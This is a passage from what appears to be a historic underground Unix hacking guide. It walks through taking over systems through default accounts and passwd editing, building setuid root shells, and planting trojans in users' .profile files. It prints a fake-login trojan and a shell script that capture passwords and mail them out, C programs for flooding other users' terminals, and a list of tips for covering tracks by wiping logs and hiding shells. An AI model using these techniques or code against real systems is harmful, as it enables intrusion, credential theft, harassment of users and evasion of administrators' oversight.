it is identified as. For instance, Young INC's Unix may have an account +named "young" + Young, INC. Please Login. + login: young + UNIX SYSTEM V REL 3.2 + (c)1984 AT&T.. + .. + .. + .. + + Some unixes have an account open named "test". This is also a default, +but surprisingly enough, it is sometimes left open. It is good to try to +use it. Remember, brainstorming is the key to a unix that has no apparent +defaults open. Think of things that may go along with the Unix. type +in stuff like "info", "password", "dial", "bbs" and other things that +may pertain to the system. "att" is present on some machines also. + +ONCE INSIDE -- SPECIAL FILES +---------------------------- + There are several files that are very important to the UNIX +environment. They are as follows: + +/etc/passwd - This is probably the most important file on a Unix. Why? + well, basically, it holds the valid usernames/passwords. + This is important since only those listed in the passwd + file can login, and even then some can't (will explain). + The format for the passwordfile is this: + +username:password:UserID:GroupID:description(or real name):homedir:shell + + Here are two sample entries: + +sirhack:89fGc%^7&a,Ty:100:100:Sir Hackalot:/usr/sirhack:/bin/sh +demo::101:100:Test Account:/usr/demo:/usr/sh + + In the first line, sirhack is a valid user. The second + field, however, is supposed to be a password, right? Well, + it is, but it's encrypted with the DES encryption standard. + the part that says "&a,Ty" may include a date after the comma + (Ty) that tells unix when the password expires. Yes, the + date is encrypted into two alphanumeric characters (Ty). + + In the Second example, the demo account has no password. + so at Login, you could type in: + +login: demo +UNIX system V +(c)1984 AT&T +.. +.. + + But with sirhack, you'd have to enter a password. Now, + the password file is great, since a lot of times, you;ll + be able to browse through it to look for unpassworded + accounts. Remember that some accounts can be restricted + from logging in, as such: + +bin:*:2:2:binaccount:/bin:/bin/sh + + The '*' means you won't be able to login with it. Your + only hope would be to run an SUID shell (explained later). + + A note about the DES encryption: each unix makes its own unique +"keyword" to base encryption off of. Most of the time its just random letters +and numbers. Its chosen at installation time by the operating system. + Now, decrypting DES encrypted things ain't easy. Its pretty much +impossible. Especially decrypting the password file (decrypting the password +field within the password file to be exact). Always beware a hacker who +says he decrypted a password file. He's full of shit. Passwords are +never decrypted on unix, but rather, a system call is made to a function +called "crypt" from within the C language, and the string you enter as +the password gets encrypted, and compared to the encrypted password. If +they match, you're in. Now, there are password hackers, but they donot +decrypt the password file, but rather, encrypt words from a dictionary +and try them against every account (by crypting/comparing) until it finds +a match (later on!). Remember, few, if none, have decrypted the password +file successfuly. + +/etc/group - This file contains The valid groups. The group file is usually + defined as this: + groupname:password:groupid:users in group + + Once again, passwords are encrypted here too. If you see a blank + in the password entry you can become part of that group by + using the utility "newgrp". Now, there are some cases in + which even groups with no password will allow only certain + users to be assigned to the group via the newgrp command. Usually, + if the last field is left blank, that means any user can use newgrp + to get that group's access. Otherwise, only the users specified in + the last field can enter the group via newgrp. + + Newgrp is just a program that will change your group current + group id you are logged on under to the one you specify. The + syntax for it is: newgrp groupname + Now, if you find a group un passworded, and use newgrp to + enter it, and it asks for a password, you are not allowed to use + the group. I will explain this further in The "SU & Newgrp" section. + +/etc/hosts - this file contains a list of hosts it is connected to thru + a hardware network (like an x.25 link or something), or sometimes + just thru UUCP. This is a good file when you are hacking a + large network, since it tells you systems you can use with + rsh (Remote Shell, not restricted shell), rlogin, and telnet, + as well as other ethernet/x.25 link programs. + +/usr/adm/sulog (or su_log) - the file sulog (or su_log) may be found in + Several directories, but it is usually in /usr/adm. This file + is what it sounds like. Its a log file, for the program SU. + What it is for is to keep a record of who uses SU and when. + whenever you use SU, your best bet would be to edit this file + if possible, and I'll tell you how and why in the section + about using "su". + +/usr/adm/loginlog +or /usr/adm/acct/loginlog - + This is a log file, keeping track of the logins. + Its purpose is merely for accounting and "security review". Really, + sometimes this file is never found, since a lot of systems keep the + logging off. + +/usr/adm/errlog +or errlog - This is the error log. It could be located anywhere. It + keeps track of all serious and even not so serious errors. + Usually, it will contain an error code, then a situation. + the error code can be from 1-10, the higher the number, the + worse the error. Error code 6 is usually used when you try + to hack. "login" logs your attempt in errlog with error code + 6. Error code 10 means, in a nutshell, "SYSTEM CRASH". + +/usr/adm/culog - This file contains entries that tell when you used cu, + where you called and so forth. Another security thing. + +/usr/mail/ - this is where the program "mail" stores its mail. + to read a particular mailbox, so they are called, + you must be that user, in the user group "mail" or + root. each mailbox is just a name. for instance, + if my login was "sirhack" my mail file would usually + be: /usr/mail/sirhack + +/usr/lib/cron/crontabs - This contains the instructions for cron, usually. + Will get into this later. + +/etc/shadow - A "shadowed" password file. Will talk about this later. + + +-- The BIN account -- + + Well, right now, I'd like to take a moment to talk about the account +"bin". While it is only a user level account, it is very powerful. It is +the owner of most of the files, and on most systems, it owns /etc/passwd, +THE most important file on a unix. See, the bin account owns most of the +"bin" (binary) files, as well as others used by the binary files, such +as login. Now, knowing what you know about file permissions, if bin owns +the passwd file, you can edit passwd and add a root entry for yourself. +You could do this via the edit command: +$ ed passwd +10999 [The size of passwd varies] +* a +sirhak::0:0:Mr. Hackalot:/:/bin/sh +{control-d} +* w +* q +$ + +Then, you could say: exec login, then you could login as sirhack, and +you'd be root. + +/\/\/\/\/\/\/\/\/ +Hacking.......... +/\/\/\/\/\/\/\/\/ + +-------------- +Account Adding +-------------- + + There are other programs that will add users to the system, instead +of ed. But most of these programs will NOT allow a root level user to be +added, or anything less than a UID of 100. One of these programs is +named "adduser". Now, the reason I have stuck this little section in, is +for those who want to use a unix for something useful. Say you want a +"mailing address". If the unix has uucp on it, or is a big college, +chances are, it will do mail transfers. You'll have to test the unix +by trying to send mail to a friend somewhere, or just mailing yourself. +If the mailer is identified as "smail" when you mail yourself (the program +name will be imbedded in the message) that probably means that the system +will send out UUCP mail. This is a good way to keep in contact with people. +Now, this is why you'd want a semi-permanent account. The way to achieve this +is by adding an account similar to those already on the system. If all the +user-level accounts (UID >= 100) are three letter abbriviations, say +"btc" for Bill The Cat, or "brs" for bill ryan smith, add an account +via adduser, and make a name like sally jane marshall or something +(they don't expect hackers to put in female names) and have the account +named sjm. See, in the account description (like Mr. Hackalot above), that +is where the real name is usually stored. So, sjm might look like this: + sjm::101:50:Sally Jane Marshall:/usr/sjm:/bin/sh +Of course, you will password protect this account, right? +Also, group id's don't have to be above 100, but you must put the account +into one that exists. Now, once you login with this account, the first +thing you'd want to do is execute "passwd" to set a password up. If you +don't, chances are someone else 'll do it for you (Then you'll be SOL). + +------------------- +Set The User ID +------------------- + + This is porbably one of the most used schemes. Setting up an "UID- +Shell". What does this mean? Well, it basically means you are going +to set the user-bit on a program. The program most commonly used is +a shell (csh,sh, ksh, etc). Why? Think about it: You'll have access +to whatever the owner of the file does. A UID shell sets the user-ID of +the person who executes it to the owner of the program. So if root +owns a uid shell, then you become root when you run it. This is an +alternate way to become root. + + Say you get in and modify the passwd file and make a root level +account unpassworded, so you can drop in. Of course, you almost HAVE to +get rid of that account or else it WILL be noticed eventually. So, what +you would do is set up a regular user account for yourself, then, make +a uid shell. Usually you would use /bin/sh to do it. After adding +the regular user to the passwd file, and setting up his home directory, +you could do something like this: +(assume you set up the account: shk) + # cp /bin/sh /usr/shk/runme + # chmod a+s /usr/shk/runme + +Thats all there would be to it. When you logged in as shk, you could just +type in: + + $ runme + # + +See? You'd then be root. Here is a thing to do: + +$ id +uid=104(shk) gid=50(user) + +$ runme +# id +uid=104(shk) gid=50(user) euid=0(root) +# + +The euid is the "effective" user ID. UID-shells only set the effective +userid, not the real user-id. But, the effective user id over-rides the +real user id. Now, you can, if you wanted to just be annoying, make +the utilities suid to root. What do I mean? For instance, make 'ls' +a root 'shell'. : + +# chmod a+s /bin/ls +# exit +$ ls -l /usr/fred +.. +...... +etc crap + +Ls would then be able to pry into ANY directory. If you did the same to +"cat" you could view any file. If you did it to rm, you could delete any +file. If you did it to 'ed', you could edit any-file (nifty!), anywhere on +the system (usually). + + +How do I get root? +------------------ + + Good question indeed. To make a program set the user-id shell to root, +you have to be root, unless you're lucky. What do I mean? Well, say +you find a program that sets the user-id to root. If you have access +to write to that file, guess what? you can copy over it, but keep +the uid bit set. So, say you see that the program chsh is setting +the user id too root. You can copy /bin/sh over it. + +$ ls -l +rwsrwsrws root other 10999 Jan 4 chsh +$ cp /bin/sh chsh +$ chsh +# + +See? That is just one way. There are others, which I will now talk +about. + +More on setting the UID +----------------------- + + Now, the generic form for making a program set the User-ID bit +is to use this command: + +chmod a+s file + +Where 'file' is a valid existing file. Now, only those who own the file +can set the user ID bit. Remember, anything YOU create, YOU own, so if +you copy th /bin/sh, the one you are logged in as owns it, or IF the +UID is set to something else, the New UID owns the file. This brings +me to BAD file permissions. + + + +II. HACKING : Bad Directory Permissions + + Now, what do I mean for bad directory permissions? Well, look for +files that YOU can write to, and above all, DIRECTORIES you can write to. +If you have write permissions on a file, you can modify it. Now, this comes +in handy when wanting to steal someone's access. If you can write to +a user's .profile, you are in business. You can have that user's .profile +create a suid shell for you to run when You next logon after the user. +If the .profile is writable to you, you can do this: + +$ ed .profile +[some number will be here] +? a +cp /bin/sh .runme +chmod a+x .runme +chmod a+s .runme +(control-d) +? w +[new filesize will be shown] +? q +$ + + Now, when the user next logs on, the .profile will create .runme which + will set your ID to the user whose .profile you changed. Ideally, you'll + go back in and zap those lines after the suid is created, and you'll create + a suid somewhere else, and delete the one in his dir. The .runme will + not appear in the user's REGULAR directory list, it will only show up + if he does "ls -a" (or ls with a -a combination), because, the '.' makes + a file hidden. + +The above was a TROJAN HORSE, which is one of the most widely used/abused +method of gaining more power on a unix. The above could be done in C via +the system() command, or by just plain using open(), chmod(), and the like. +* Remember to check and see if the root user's profile is writeable * +* it is located at /.profile (usually) * + + + The BEST thing that could happen is to find a user's directory writeable + by you. Why? well, you could replace all the files in the directory + with your own devious scripts, or C trojans. Even if a file is not + writeable by you, you can still overwrite it by deleteing it. If you + can read various files, such as the user's .profile, you can make a + self deleting trojan as so: + + $ cp .profile temp.pro + $ ed .profile + 1234 + ? a + cp /bin/sh .runme + chmod a+x .runme + chmod a+s .runme + mv temp.pro .profile + (control-d) + ? w + [another number] + ? q + $ chown that_user temp.pro + + What happens is that you make a copy of the .profile before you change it. + Then, you change the original. When he runs it, the steps are made, then + the original version is placed over the current, so if the idiot looks in + his .profile, he won't see anything out of the ordinary, except that he + could notice in a long listing that the change date is very recent, but + most users are not paranoid enough to do extensive checks on their files, + except sysadm files (such as passwd). + + Now, remember, even though you can write to a dir, you may not be able + to write to a file without deleting it. If you do not have write perms + for that file, you'll have to delete it and write something in its place + (put a file with the same name there). The most important thing to remember + if you have to delete a .profile is to CHANGE the OWNER back after you + construct a new one (hehe) for that user. He could easily notice that his + .profile was changed and he'll know who did it. YES, you can change the + owner to someone else besides yourself and the original owner (as to throw + him off), but this is not wise as keeping access usually relies on the fact + that they don't know you are around. + + You can easily change cron files if you can write to them. I'm not going + to go into detail about cronfile formats here, just find the crontab files + and modify them to create a shell somewhere as root every once in a while, + and set the user-id. + +III. Trojan Horses on Detached terminals. + Basically this: You can send garbage to a user's screen and + mess him up bad enough to force a logoff, creating a detached + account. Then you can execute a trojan horse off that terminal in + place of login or something, so the next one who calls can hit the + trojan horse. This USUALLY takes the form of a fake login and + write the username/pw entererred to disk. + + Now, there are other trojan horses available for you to write. Now, + don't go thinking about a virus, for they don't work unless ROOT runs + them. Anyway, a common trjan would be a shell script to get the + password, and mail it to you. Now, you can replace the code for + the self deleting trojan with one saying something like: + echo "login: \c" + read lgin + echo off (works on some systems) + (if above not available...: stty -noecho) + echo "Password:\c" + read pw + echo on + echo "Login: $lgin - Pword: $pw" | mail you + + Now, the best way to use this is to put it in a seperate script file + so it can be deleted as part of the self deleting trojan. A quick + modification, removing the "login: " and leaving the password + may have it look like SU, so you can get the root password. But + make sure the program deletes itself. Here is a sample trojan + login in C: + + #include + /* Get the necessary defs.. */ + main() + { + char *name[80]; + char *pw[20]; + FILE *strm; + printf("login: "); + gets(name); + pw = getpass("Password:"); + strm = fopen("/WhereEver/Whateverfile","a"); + fprintf(strm,"User: (%s), PW [%s]\n",name,pw); + fclose(strm); + /* put some kind of error below... or something... */ + printf("Bus Error - Core Dumped\n"); + exit(1); + } + + The program gets the login, and the password, and appends it to + a file (/wherever/whateverfile), and creates the file if it can, + and if its not there. That is just an example. Network Annoyances + come later. + + IV. Odd systems + + There may be systems you can log in to with no problem, and find some +slack menu, database, or word processor as your shell, with no way to the +command interpreter (sh, ksh, etc..). Don't give up here. Some systems will +let you login as root, but give you a menu which will allow you to add an +account. However, ones that do this usually have some purchased software +package running, and the people who made the software KNOW that the people +who bought it are idiots, and the thing will sometimes only allow you to +add accounts with user-id 100 or greater, with their special menushell as +a shell. You probably won't get to pick the shell, the program will probably +stick one on the user you created which is very limiting. HOWEVER, sometimes +you can edit accounts, and it will list accounts you can edit on the screen. +HOWEVER, these programs usually only list those with UIDS > 100 so you don't +edit the good accounts, however, they donot stop you from editing an account +with a UID < 100. The "editing" usually only involves changing the password +on the account. If an account has a * for a password, the standard passwd +program which changes programs, will say no pw exists, and will ask you to +enter one. (wallah! You have just freed an account for yourself. Usually +bin and sys have a * for a password). If one exists you'll have to enter +the old Password (I hope you know it!) for that account. Then, you are +in the same boat as before. (BTW -- These wierd systems are usually +Xenix/386, Xenix/286, or Altos/286) + With word processors, usually you can select the load command, +and when the word processor prompts for a file, you can select the passwd +file, to look for open accounts, or at least valid ones to hack. An example +would be the informix system. You can get a word processor with that such +as Samna word, or something, and those Lamers will not protect against +shit like that. Why? The Passwd file HAS to be readable by all for the most +part, so each program can "stat" you. However, word processors could be made +to restrict editing to a directory, or set of directories. Here is an +example: + + $ id + uid=100(sirhack) gid=100(users) + $ sword + (word processor comes up) + (select LOAD A FILE) + : /etc/passwd + + (you see: ) + root:dkdjkgsf!!!:0:0:Sysop:/:/bin/sh + sirhack:dld!k%%^%:100:100:Sir Hackalot:/usr/usr1/sirhack:/bin/sh + datawiz::101:100:The Data Wizard:/usr/usr1/datawiz:/bin/sh + ... + +Now I have found an account to take over! "datawiz" will get me in with no +trouble, then I can change his password, which he will not like at all. +Some systems leave "sysadm" unpassworded (stupid!), and now, Most versions +of Unix, be it Xenix, Unix, BSD, or whatnot, they ship a sysadm shell which +will menu drive all the important shit, even creating users, but you must +have ansi or something. + + You can usually tell when you'll get a menu. Sometimes on UNIX + SYSTEM V, when it says TERM = (termtype), and is waiting for + you to press return or whatever, you will probably get a menu.. ack. + +V. Shadowed Password files + Not much to say about this. all it is, is when every password field + in the password file has an "x" or just a single character. What + that does is screw you, becuase you cannot read the shadowed password + file, only root can, and it contains all the passwords, so you will + not know what accounts have no passwords, etc. + +There are a lot of other schemes for hacking unix, lots of others, from +writing assembly code that modifies the PCB through self-changing code which +the interrupt handler doesn't catch, and things like that. However, I do +not want to give away everything, and this was not meant for advanced Unix +Hackers, or atleast not the ones that are familiar with 68xxx, 80386 Unix +assembly language or anything. Now I will Talk about Internet. + + + +--->>> InterNet <<<--- + Why do I want to talk about InterNet? Well, because it is a prime +example of a TCP/IP network, better known as a WAN (Wide-Area-Network). +Now, mainly you will find BSD systems off of the Internet, or SunOS, for +they are the most common. They may not be when System V, Rel 4.0, Version +2.0 comes out. Anyway, these BSDs/SunOSs like to make it easy to jump +from one computer to another once you are logged in. What happens is +EACH system has a "yello page password file". Better known as yppasswd. +If you look in there, and see blank passwords you can use rsh, rlogin, etc.. +to slip into that system. One system in particular I came across had a +a yppasswd file where *300* users had blank passwords in the Yellow Pages. +Once I got in on the "test" account, ALL I had to do was select who I wanted +to be, and do: rlogin -l user (sometimes -n). Then it would log me onto +the system I was already on, through TCP/IP. However, when you do this, +remember that the yppasswd only pertains to the system you are on at +the time. To find accounts, you could find the yppasswd file and do: + +% cat yppasswd | grep :: + +Or, if you can't find yppasswd.. + +% ypcat passwd | grep :: + +On ONE system (which will remain confidential), I found the DAEMON account +left open in the yppasswd file. Not bad. Anyway, through one system +on the internet, you can reach many. Just use rsh, or rlogin, and look +in the file: /etc/hosts for valid sites which you can reach. If you get +on to a system, and rlogin to somewhere else, and it asks for a password, +that just means one of two things: + +A. Your account that you have hacked on the one computer is on the target + computer as well. Try to use the same password (if any) you found the + hacked account to have. If it is a default, then it is definitly on the + other system, but good luck... + +B. rlogin/rsh passed your current username along to the remote system, so it + was like typing in your login at a "login: " prompt. You may not exist on + the other machine. Try "rlogin -l login_name", or rlogin -n name.. + sometimes, you can execute "rwho" on another machine, and get a valid + account. + +Some notes on Internet servers. There are "GATEWAYS" that you can get into +that will allow access to MANY internet sites. They are mostly run off +a modified GL/1 or GS/1. No big deal. They have help files. However, +you can get a "privilged" access on them, which will give you CONTROL of +the gateway.. You can shut it down, remove systems from the Internet, etc.. +When you request to become privileged, it will ask for a password. There is +a default. The default is "system". I have come across *5* gateways with +the default password. Then again, DECNET has the same password, and I have +come across 100+ of those with the default privileged password. CERT Sucks. +a Gateway that led to APPLE.COM had the default password. Anyone could +have removed apple.com from the internet. Be advised that there are many +networks now that use TCP/IP.. Such as BARRNET, LANET, and many other +University networks. + +--** Having Fun **-- + +Now, if nothing else, you should atleast have some fun. No, I do not mean +go trashing hardrives, or unlinking directories to take up inodes, I mean +play with online users. There are many things to do. Re-direct output +to them is the biggie. Here is an example: + $ who + loozer tty1 + sirhack tty2 + $ banner You Suck >/dev/tty1 + $ + That sent the output to loozer. The TTY1 is where I/O is being performed + to his terminal (usually a modem if it is a TTY). You can repetitiously + banner him with a do while statement in shell, causing him to logoff. Or + you can get sly, and just screw with him. Observe this C program: + +#include +#include +#include + +main(argc,argument) +int argc; +char *argument[]; +{ + int handle; + char *pstr,*olm[80]; + char *devstr = "/dev/"; + int acnt = 2; + FILE *strm; + pstr = ""; + if (argc == 1) { + printf("OL (OneLiner) Version 1.00 \n"); + printf("By Sir Hackalot [PHAZE]\n"); + printf("\nSyntax: ol tty message\n"); + printf("Example: ol tty01 You suck\n"); + exit(1); + } + printf("OL (OneLiner) Version 1.0\n"); + printf("By Sir Hackalot [PHAZE]\n"); + if (argc == 2) { + strcpy(olm,""); + printf("\nDummy! You forgot to Supply a ONE LINE MESSAGE\n"); + printf("Enter one Here => "); + gets(olm); + } + strcpy(pstr,""); + strcat(pstr,devstr); + strcat(pstr,argument[1]); + printf("Sending to: [%s]\n",pstr); + strm = fopen(pstr,"a"); + if (strm == NULL) { + printf("Error writing to: %s\n",pstr); + printf("Cause: No Write Perms?\n"); + exit(2); + } + if (argc == 2) { + if (strcmp(logname(),"sirhack") != 0) fprintf(strm,"Message from (%s): \n",logname()); + fprintf(strm,"%s\n",olm); + fclose(strm); + printf("Message Sent.\n"); + exit(0); + } + if (argc > 2) { + if (strcmp(logname(),"sirhack") != 0) fprintf(strm,"Message from (%s):\n",logname()); + while (acnt <= argc - 1) { + fprintf(strm,"%s ",argument[acnt]); + acnt++; + } + fclose(strm); + printf("Message sent!\n"); + exit(0); + } +} + +What the above does is send one line of text to a device writeable by you +in /dev. If you try it on a user named "sirhack" it will notify sirhack +of what you are doing. You can supply an argument at the command line, or +leave a blank message, then it will prompt for one. You MUST supply a +Terminal. Also, if you want to use ?, or *, or (), or [], you must not +supply a message at the command line, wait till it prompts you. Example: + +$ ol tty1 You Suck! +OL (OneLiner) Version 1.00 +by Sir Hackalot [PHAZE] +Sending to: [/dev/tty1] +Message Sent! +$ +Or.. +$ ol tty1 +OL (OneLiner) Version 1.00 +by Sir Hackalot [PHAZE] +Dummy! You Forgot to Supply a ONE LINE MESSAGE! +Enter one here => Loozer! Logoff (NOW)!! ^G^G +Sending to: [/dev/tty1] +Message Sent! +$ + + You can even use it to fake messages from root. Here is another: + + +/* + * Hose another user + */ + +#include +#include +#include +#include +#include +#include +#include +#include + +#define NMAX sizeof(ubuf.ut_name) + +struct utmp ubuf; +struct termio oldmode, mode; +struct utsname name; +int yn; +int loop = 0; +char *realme[50] = "Unknown"; +char *strcat(), *strcpy(), me[50] = "???", *him, *mytty, histty[32]; +char *histtya, *ttyname(), *strrchr(), *getenv(); +int signum[] = {SIGHUP, SIGINT, SIGQUIT, 0}, logcnt, eof(), timout(); +FILE *tf; + +main(argc, argv) +int argc; +char *argv[]; +{ + register FILE *uf; + char c1, lastc; + int goodtty = 0; + long clock = time((long *) 0); + struct tm *localtime(); + struct tm *localclock = localtime( &clock ); + struct stat stbuf; + char psbuf[20], buf[80], window[20], junk[20]; + FILE *pfp, *popen(); + + if (argc < 2) { + printf("usage: hose user [ttyname]\n"); + exit(1); + } + him = argv[1]; + + if (argc > 2) + histtya = argv[2]; + if ((uf = fopen("/etc/utmp", "r")) == NULL) { + printf("cannot open /etc/utmp\n"); + exit(1); + } + cuserid(me); + if (me == NULL) { + printf("Can't find your login name\n"); + exit(1); + } + mytty = ttyname(2); + if (mytty == NULL) { + printf("Can't find your tty\n"); + exit(1); + } + if (stat(mytty, &stbuf) < 0) { + printf("Can't stat your tty -- This System is bogus.\n"); + } + if ((stbuf.st_mode&02) == 0) { + printf("You have write permissions turned off (hehe!).\n"); + } + + if (histtya) { + if (!strncmp(histtya, "/dev/", 5)) + histtya = strrchr(histtya, '/') + 1; + strcpy(histty, "/dev/"); + strcat(histty, histtya); + } + while (fread((char *)&ubuf, sizeof(ubuf), 1, uf) == 1) { + if (ubuf.ut_name[0] == '\0') + continue; + if (!strncmp(ubuf.ut_name, him, NMAX)) { + logcnt++; + if (histty[0]==0) { + strcpy(histty, "/dev/"); + strcat(histty, ubuf.ut_line); + } + if (histtya) { + if (!strcmp(ubuf.ut_line, histtya)) + goodtty++; + } + } + } + fclose(uf); + if (logcnt==0) { + printf("%s not found! (Not logged in?)\n", him); + exit(1); + } + + if (histtya==0 && logcnt > 1) { + printf("%s logged more than once\nwriting to %s\n", him, histty+5); + } + if (access(histty, 0) < 0) { + printf("No such tty? [%s]\n",histty); + exit(1); + } + signal(SIGALRM, timout); + alarm(5); + if ((tf = fopen(histty, "w")) == NULL) + goto perm; + alarm(0); + if (fstat(fileno(tf), &stbuf) < 0) + goto perm; + if (geteuid() != 0 && (stbuf.st_mode&02) == 0) + goto perm; + ioctl(0, TCGETA, &oldmode); /* save tty state */ + ioctl(0, TCGETA, &mode); + sigs(eof); + uname(&name); + if (strcmp(him,"YOURNAMEHERE") == 0) yn = 1; + if (yn == 1 ) { + fprintf(tf, "\r(%s attempted to HOSE You with NW)\r\n",me); + fclose(tf); + printf("Critical Error Handler: %s running conflicting process\n",him); + exit(1); +} + fflush(tf); + mode.c_cc[4] = 1; + mode.c_cc[5] = 0; + mode.c_lflag &= ~ICANON; + ioctl(0, TCSETAW, &mode); + lastc = '\n'; + + +printf("Backspace / Spin Cursor set lose on: %s\n",him); + while (loop == 0) { + c1 = '\b'; + write(fileno(tf),&c1,1); + sleep(5); +fprintf(tf,"\\\b|\b/\b-\b+\b"); + fflush(tf); + } + + + + +perm: +printf("Write Permissions denied!\n"); +exit(1); +} + +timout() +{ + +printf("Timeout opening their tty\n"); +exit(1); +} + +eof() +{ +printf("Bye..\n"); +ioctl(0, TCSETAW, &oldmode); +exit(0); +} + +ex() +{ + register i; + sigs(SIG_IGN); + i = fork(); + if (i < 0) { + printf("Try again\n"); + goto out; + } + if (i == 0) { + sigs((int (*)())0); + execl(getenv("SHELL")?getenv("SHELL"):"/bin/sh","sh","-t",0); + exit(0); + } + while(wait((int *)NULL) != i) + ; + printf("!\n"); +out: + sigs(eof); +} + +sigs(sig) +int (*sig)(); +{ + register i; + for (i=0; signum[i]; i++) + signal(signum[i], sig); +} + + + +What the above is, is a modified version of the standard write command. +What it does, is spin the cursor once, then backspace once over the +screen of the user it is run on. All though, it does not physically affect +input, the user thinks it does. therefore, he garbles input. The sleep(xx) +can be changed to make the stuff happen more often, or less often. +If you put your login name in the "YOURNAMEHERE" slot, it will protect you +from getting hit by it, if someone off a Public access unix leeches the +executable from your directory. +You could make a shorter program that does almost the same thing, but +you have to supply the terminal, observe: + +/* Backspace virus, by Sir Hackalot [Phaze] */ +#include +#include +main(argc,argv) +char *argv[]; +int argc; +{ + int x = 1; + char *device = "/dev/"; + FILE *histty; + if (argc == 1) { + printf("Bafoon. Supply a TTY.\n"); + exit(1); + } + strcat(device,argv[1]); + /* Make the filename /dev/tty.. */ + histty = fopen(device,"a"); + if (histty == NULL) { + printf("Error opening/writing to tty. Check their perms.\n"); + exit(1); + } + printf("BSV - Backspace virus, By Sir Hackalot.\n"); + printf("The Sucker on %s is getting it!\n",device); + while (x == 1) { + fprintf(histty,"\b\b"); + fflush(histty); + sleep(5); + } + } + +Thats all there is to it. If you can write to their tty, you can use this on +them. It sends two backspaces to them every approx. 5 seconds. You +should run this program in the background. (&). Here is an example: + +$ who +sirhack tty11 +loozer tty12 +$ bsv tty12& +[1] 4566 +BSV - Backspace virus, by Sir Hackalot +The Sucker on /dev/tty12 is getting it! +$ + +Now, it will keep "attacking" him, until he loggs of, or you kill the process +(which was 4566 -- when you use &, it gives the pid [usually]). + +** Note *** Keep in mind that MSDOS, and other OP systems use The CR/LF +method to terminate a line. However, the LF terminates a line in Unix. +you must STRIP CR's on an ascii upload if you want something you upload +to an editor to work right. Else, you'll see a ^M at the end of every +line. I know that sucks, but you just have to compensate for it. + +I have a number of other programs that annoy users, but that is enough to +get your imagination going, provided you are a C programmer. You can annoy +users other ways. One thing you can do is screw up the user's mailbox. +The way to do this is to find a binary file (30k or bigger) on the system +which YOU have access to read. then, do this: + +$ cat binary_file | mail loozer + +or + +$ mail loozer < binary file + +That usually will spilt into 2 messages or more. The 1st message will +have a from line.. (from you ..), but the second WILL NOT! Since it does +not, the mail reader will keep exiting and giving him an error message until +it gets fixed.. The way to fix it is to go to the mail box that got hit +with this trick (usually only the one who got hit (or root) and do this), +and edit the file, and add a from line.. like +From username.. + +then it will be ok. You can screw the user by "cat"ing a binary to his tty. +say Loozer is on tty12. You can say.. +$ cat binary_file >/dev/tty12 +$ +It may pause for a while while it outputs it. If you want to resume what +you were doing instantly, do: +$ cat binary_file >/dev/tty12& +[1] 4690 +$ +And he will probably logoff. You can send the output of anything to his +terminal. Even what YOU do in shell. Like this: +$ sh >/dev/tty12 +$ +You'll get your prompts, but you won't see the output of any commands, he +will... +$ ls +$ banner Idiot! +$ echo Dumbass! +$ +until you type in exit, or hit ctrl-d. + + +There are many many things you can do. You can fake a "write" to someone +and make them think it was from somewhere on the other side of hell. Be +creative. + +When you are looking for things to do, look for holes, or try to get +someone to run a trojan horse that makes a suid shell. If you get +someone to run a trojan that does that, you can run the suid, and log their +ass off by killing their mother PID. (kill -9 whatever). Or, you can +lock them out by adding "kill -1 0" to their .profile. On the subject of +holes, always look for BAD suid bits. On one system thought to be invincible +I was able to read/modify everyone's mail, because I used a mailer that had +both the GroupID set, and the UserID set. When I went to shell from it, +the program instantly changed my Effective ID back to me, so I would not be +able to do anything but my regular stuff. But it was not designed to change +the GROUP ID back. The sysop had blundered there. SO when I did an ID +I found my group to be "Mail". Mailfiles are readble/writeable by the +user "mail", and the group "mail". I then set up a sgid (set group id) shell +to change my group id to "mail" when I ran it, and scanned important mail, +and it got me some good info. So, be on the look out for poor permissions. + +Also, after you gain access, you may want to keep it. Some tips on doing so +is: + 1. Don't give it out. If the sysadm sees that joeuser logged in 500 + times in one night....then.... + 2. Don't stay on for hours at a time. They can trace you then. Also + they will know it is irregular to have joeuser on for 4 hours + after work. + 3. Don't trash the system. Don't erase important files, and don't + hog inodes, or anything like that. Use the machine for a specific + purpose (to leech source code, develop programs, an Email site). + Dont be an asshole, and don't try to erase everything you can. + 4. Don't screw with users constantly. Watch their processes and + run what they run. It may get you good info (snoop!) + 5. If you add an account, first look at the accounts already in there + If you see a bunch of accounts that are just 3 letter abbrv.'s, + then make yours so. If a bunch are "cln, dok, wed" or something, + don't add one that is "joeuser", add one that is someone's + full initials. + + 6. When you add an account, put a woman's name in for the + description, if it fits (Meaning, if only companies log on to the + unix, put a company name there). People do not suspect hackers + to use women's names. They look for men's names. + 7. Don't cost the Unix machine too much money. Ie.. don't abuse an + outdial, or if it controls trunks, do not set up a bunch of dial + outs. If there is a pad, don't use it unless you NEED it. + 8. Don't use x.25 pads. Their usage is heavily logged. + 9. Turn off acct logging (acct off) if you have the access to. + Turn it on when you are done. + 10. Remove any trojan horses you set up to give you access when you + get access. + 11. Do NOT change the MOTD file to say "I hacked this system" Just + thought I'd tell you. Many MANY people do that, and lose access + within 2 hours, if the unix is worth a spit. + 12. Use good judgement. Cover your tracks. If you use su, clean + up the sulog. + 13. If you use cu, clean up the cu_log. + 14. If you use the smtp bug (wizard/debug), set up a uid shell. + 15. Hide all suid shells. Here's how: + goto /usr + (or any dir) + do: + # mkdir ".. " + # cd ".. " + # cp /bin/sh ".whatever" + # chmod a+s ".whatever" + The "" are NEEDED to get to the directory .. ! It will not show + up in a listing, and it is hard as hell to get to by sysadms if + you make 4 or 5 spaces in there (".. "), because all they will + see in a directory FULL list will be .. and they won't be able to + get there unless they use "" and know the spacing. "" is used + when you want to do literals, or use a wildcard as part of a file + name. + 16. Don't hog cpu time with password hackers. They really don't work + well. + + 17. Don't use too much disk space. If you archieve something to dl, + dl it, then kill the archieve. + 18. Basically -- COVER YOUR TRACKS. + +Some final notes: + +Now, I hear lots of rumors and stories like "It is getting harder to get +into systems...". Wrong. (Yo Pheds! You reading this??). It IS true +when you are dealing with WAN's, such as telenet, tyment, and the Internet, +but not with local computers not on those networks. Here's the story: + +Over the past few years, many small companies have sprung up as VARs +(Value Added Resellers) for Unix and Hardware, in order to make a fast +buck. Now, these companies fast talk companies into buying whatever, +and they proceed in setting up the Unix. Now, since they get paid by +the hour usaually when setting one up, they spread it out over days.... +during these days, the system is WIDE open (if it has a dialin). Get +in and add yourself to passwd before the seal it off (if they do..). +Then again, after the machine is set up, they leave the defaults on the +system. Why? The company needs to get in, and most VARs cannot use +unix worth a shit, all they know how to do is set it up, and that is ALL. +Then, they turn over the system to a company or business that USUALLY +has no-one that knows what they hell they are doing with the thing, except +with menus. So, they leave the system open to all...(inadvertedly..), +because they are not competant. 